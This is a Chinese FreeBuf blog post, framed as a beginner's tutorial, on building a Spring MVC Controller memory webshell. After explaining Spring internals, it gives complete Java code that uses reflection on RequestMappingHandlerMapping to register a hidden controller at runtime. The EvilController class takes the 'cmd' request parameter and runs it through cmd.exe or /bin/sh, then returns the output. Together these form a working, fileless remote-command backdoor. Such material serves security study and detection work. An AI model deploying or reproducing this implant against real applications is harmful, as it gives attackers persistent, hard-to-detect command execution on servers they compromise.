freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Spring Controller 内存马(纯新手)
2022-11-23 11:52:24
所属地 四川省

前情提要

Controller

Controller负责处理由DispatcherServlet分发的请求,它把用户请求的数据经过业务处理层处理之后封装成一个Model,然后再把该Model返回给对应的View进行展示。

在SpringMVC 中提供了一个非常简便的定义Controller 的方法,你无需继承特定的类或实现特定的接口,只需使用@Controller 标记一个类是Controller ,然后使用@RequestMapping 和@RequestParam 等一些注解用以定义URL 请求和Controller 方法之间的映射,这样的Controller 就能被外界访问到。

  1. 只需要用@Controller标记一个类是Controller

  2. 用@RequestMapping或者@RequestParam等@注解去自定义我们需要的东西

常见的注解:

  • @Controller

  • @RequestMapping

  • @ResponseBody

  • @RestController

  • @GetMapping

  • @PostMapping

bean

bean是Spring框架的一个核心概念,它是构成应用程序的主干,并且是由Spring IoC容器负责实例化、配置、组装和管理的对象:

  • bean是对象

  • bean被IoC容器管理

  • Spring应用主要是由一个个的bean构成的

这里只需要知道它是实例对象。

ApplicationContext

Spring框架中,BeanFactory接口是Spring IoC容器的实际代表者,

ApplicationContext接口继承了 BeanFactory接口,并通过继承其他接口进一步扩展了基本容器的功能。

因此,org.springframework.context.ApplicationContext接口也代表了IoC容器,它负责实例化,定位,配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。

IoC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。

配置的零元数据可以用xml、Java注解或Java代码来表示。

实现思路:

  • 使用纯Java代码来获得当前代码运行时的上下文环境(Context)

  • 使用纯Java代码在上下文环境中手动注册一个controller

  • controller中RequestMapping的方法中写入Webshell逻辑,达到和webshell的url进行交互回显的效果

dispatcherservlet

详见

https://www.baeldung.com/spring-dispatcherservlet

也可以参观这位师傅的

https://www.cnblogs.com/CoLo/p/15333433.html

简介

在前端控制器的设计模式中,单个控制器负责将传入的httpRequests定向到应用程序的所有其他控制器和处理程序

Spring 的 DispatcherServlet实现了这种模式,因此负责正确地将 HttpRequest协议协调到其正确的处理程序

简单来说就是对request请求进行处理

关于 Root Context和Child Context

  • Spring 应用中可以同时有多个 Context,其中只有一个 Root Context,剩下的全是 Child Context

  • 所有 Child Context 都可以访问在 Root Context 中定义的 bean,但是 Root Context无法访问 Child Context中定义的bean

  • 所有的 Context在创建后,都会被作为一个属性添加到了 ServletContext中

ContextLoaderListener

ContextLoaderListener 主要被用来初始化全局唯一的 Root Context,即 Root WebApplicationContext。这个 Root WebApplicationContext 会和其他 Child Context实例共享它的IoC容器,供其他Child Context 获取并使用容器中的 bean。

如果要访问和操作bean(对象),一般要获得当前代码执行环境的IoC容器的代表者ApplicationContext。

Spring Controller内存马实现

获取Context

所有的Context在创建后,都会被作为一个属性添加到ServletContext中。

有四种(我目前知道的)

一:getCurrentWebApplicationContext()

getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext

WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

二:WebApplicationContextUtils

通过这种方法获得的也是一个 Root WebApplicationContext,但是比较麻烦

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

三:RequestContextUtils

通过ServletRequest 类的实例来获得Child WebApplicationContext

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHandler.currentRequestAttributes()).getRequest());

四:getAttribute

因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext属性Context拿到 Child WebApplicationContext

WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframeword.web.servlet.DispatcherServlet.CONTEXT",0);


注册Controller

通过获取RequestMappingHandlerMapping父类的MappingRegistry属性并调用register方法来注册恶意的Controller。

@Controller
public class AddControllerMemshell {

@RequestMapping(value = "/addSpringController")
public void addController(HttpServletRequest request, HttpServletResponse response) throws Exception{

final String controllerPath = "/biandanjun";

WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);

Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");

Method[] ms = c.getDeclaredMethods();

Field field = c.getDeclaredField("urlLookup");
field.setAccessible(true);

Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
for (String urlPath : urlLookup.keySet()) {
if (controllerPath.equals(urlPath)) {
response.getWriter().println("controller url path exist already");
return;
}
}

PatternsRequestCondition url = new PatternsRequestCondition(controllerPath);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);

Class<?> myClass = Util.getClass(CONTROLLER_CMDMEMSHELL_CLASS_STRING);

for (Method method : ms) {
if ("register".equals(method.getName())) {
method.setAccessible(true);
method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]);
response.getWriter().println("spring controller add");
}
}
}

}

RequestMappingHandlerMapping

我们上面有一步就是为了获取RequestMappingHandlerMapping,

RequestMappingHandlerMapping的作用是在容器启动后将系统中所有控制器方法的请求条件,(RequestInfo)和控制器方法(HandlerMethod)的对应关系注册到RequestMappingHandlerMapping Bean的内存中,待接口请求系统的时候根据请求条件和内存中存储的系统接口信息对比,再执行相对应的控制器方法。

就是处理Controller中存在@RequestMapping注解的方法,当我们访问该注解中的值对应的url时,请求会进入相应的方法处理,而RequestMappingHandlerMapping类就是做的绑定@RequestMapping注解与相应Method之间的映射

这里有一个好东西,这个类有一个registerMapping方法,这个方法就是我们利用的关键

public void registerMapping(RequestMappingInfo mapping, Object handler, Method method) {
//调用了父类的registerMapping方法
super.registerMapping(mapping, handler, method);
this.updateConsumesCondition(mapping, method);
}

能够调用父类的对象的方法,而他的父类,AbstractHandlerMethodMapping,他,拥有我们需要的register。

this.mappingRegistry.register(mapping, handler, method);
//在父类方法里面存在的register方法,具体实现逻辑如下
public void register(T mapping, Object handler, Method method) {
this.readWriteLock.writeLock().lock();

try {
HandlerMethod handlerMethod = AbstractHandlerMethodMapping.this.createHandlerMethod(handler, method);
this.validateMethodMapping(handlerMethod, mapping);
Set<String> directPaths = AbstractHandlerMethodMapping.this.getDirectPaths(mapping);
Iterator var6 = directPaths.iterator();

while(var6.hasNext()) {
String path = (String)var6.next();
this.pathLookup.add(path, mapping);
}

String name = null;
if (AbstractHandlerMethodMapping.this.getNamingStrategy() != null) {
name = AbstractHandlerMethodMapping.this.getNamingStrategy().getName(handlerMethod, mapping);
this.addMappingName(name, handlerMethod);
}

CorsConfiguration corsConfig = AbstractHandlerMethodMapping.this.initCorsConfiguration(handler, method, mapping);
if (corsConfig != null) {
corsConfig.validateAllowCredentials();
this.corsLookup.put(handlerMethod, corsConfig);
}

this.registry.put(mapping, new AbstractHandlerMethodMapping.MappingRegistration(mapping, handlerMethod, directPaths, name, corsConfig != null));
} finally {
this.readWriteLock.writeLock().unlock();
}

}
这里的逻辑就是进行注册

所以我们可以通过这里传入我们的参数,去调用想要的register方法,进而达到我们的目的。

传入的参数也很明显

  1. RequestMappingInfo 这里包含了注册时需要的一些属性,比如url和condition,

    1. 这个condition就是@RequestMapping注解中的method,而我们的condition十分体贴的把method做成了一个set集合,

  2. handler 就是我们的恶意类,装恶意东西的恶意类,实现恶意事件的恶意类,

  3. method就是对应的bean方法,我们可以在这个方法里面执行我们想要实现的任何逻辑。

所以,大概就是通过这个东西来利用下面的步骤

  1. 创建一个恶意类,其中存在有一个方法实现了执行逻辑 当然是handler啦,

  2. 定义访问的路由和允许的HTTP方法 这个就是RequestMappingInfo里面存的东西啦,

  3. 从上下文获取对应的RequestMappingHandlerMapping对象 因为,在这里,我们将要实现我们最伟大的任务,注册controller,在RequestMappingHandlerMapping的registerMapping方法中调用了父类的方法,

  4. 这时,我们就可以通过它的父类 Abstract...啥的里面的那个register方法来进行我们的注册,register方法在父类的registerMapping方法里面。

    public void registerMapping(T mapping, Object handler, Method method) {
    if (this.logger.isTraceEnabled()) {
    this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString());
    }

    this.mappingRegistry.register(mapping, handler, method);
    }


步骤

  1. 获取Context

  2. 获取RequestMappingHandlerMapping

  3. 获取MappingRegisty属性

  4. 构造RequestMappingInfo(url,condition)

  5. 调用registry方法注册Controller

RequestMethodsRequestCondition

这个东西,在我们使用那个RequestMappingInfo的时候会传入的一个参数,RequestMappingInfo(url,condition),这里的condition存的就是@RequestMapping注解中的method

在注册Controller时,需要注册两个东西,一个是Controller,一个是 RequestMapping映射

  • RequestMappingInfo:一个封装类,对一次http请求中的相关信息进行封装,这样说太官方了,而且根本不知道是啥东西,不如说是一个装有控制器方法的请求条件,包含了注册时需要的一些属性,比如url和condition

  • HandlerMethod:对 Controller 的处理请求方法的封装,里面包含了该方法所属的 bean,method,参数等对象,就是恶意方法

Spring MVC初始化时,在每个容器的bean构造方法、属性设置之后,将会使用 InitializingBean的afterPropertiesSet方法进行Bean的初始化操作,其中实现类 RequestMappingHandlerMapping 用来处理具有@Controller 注解类中的方法级别的 @RequestMapping以及 RequestMappingInfo实例的创建。

流程

  1. afterPropertiesSet 方法初始化了 RequestMappingInfo.BuilderConfiguration这个配置类,然后调用其父类 AbstractHandlerMethodMapping的afterPropertiesSet方法

    先初始化 config 对象
    然后
    super.afterPropertiesSet()
    调用父类的 afterPropertiesSet()
  2. 这个方法调用了 iniHandlerMethods

    首先从 context中查找注册的 Bean

    再循环遍历,调用 processCandidateBean(beanName)来处理对应的bean

  3. 进入processCandidateBean方法

    有个if(isHandler(beanType))

    判断是否需要处理,if里面有个detectHandlerMethods方法

    1. isHandler 方法是用来判断当前bean定义是否带有 Controller 或 RequestMapping注解

    2. detectHandlerMethods查找 handler methods 并注册

      1. 先获取当前 Controller Bean 的 class 对象

      2. 获取当前 bean 的所有 handler method

      3. 根据 method 定义是否带有 RequestMapping 注解,如果有,根据注解创建 RequestMappingInfo 对象

      4. 遍历并注册当前 bean 所有 handler method

      5. 有两个关键方法

        1. getMappingForMethod根据 handler method创建 RequestMappingInfo对象

        2. registerHandlerMethod方法将 handler method 与访问的 创建RequestMappingInfo进行相关映射

      6. registerHandlerMethod里面有一句

        this.mappingRegistry.register(mapping,handle,method);

        调用了mappingRegistry的register方法,将一些关键信息进行包装、处理和存储

动态注册Controller

和Servlet 的添加较为类似的是,重点需要添加的就是访问url与 RequestMappingInfo的映射,以及是 RequestMappingInfo 与 HandlerMethod 的 映射

  1. url 与 RequestMappingInfo的映射

  2. RequestMappingInfo 与 HandlerMethod 的映射

具体实现

package com.example.eajava_springboot.controller;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Method;

public class EvilController {
static {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method2 = null;
try {
method2 = EvilController.class.getMethod("test");
} catch (NoSuchMethodException e) {
e.printStackTrace();
}
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/yinzkk");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环
EvilController evilController = new EvilController("aaa");
mappingHandlerMapping.registerMapping(info, evilController, method2);
}
public EvilController(String aaa) {}

public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){}
}

}
package com.example.eajava_springboot.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@Controller
@RequestMapping("/addSpringController")
public class AddSpringController {

@GetMapping
public void test(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
try {
Class.forName("com.example.eajava_springboot.controller.EvilController");
httpServletResponse.getWriter().println("add successfully!controller!!!");
} catch (Exception e) {
e.printStackTrace();
}
}
}
# web安全 # JAVA安全 # 内存马
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录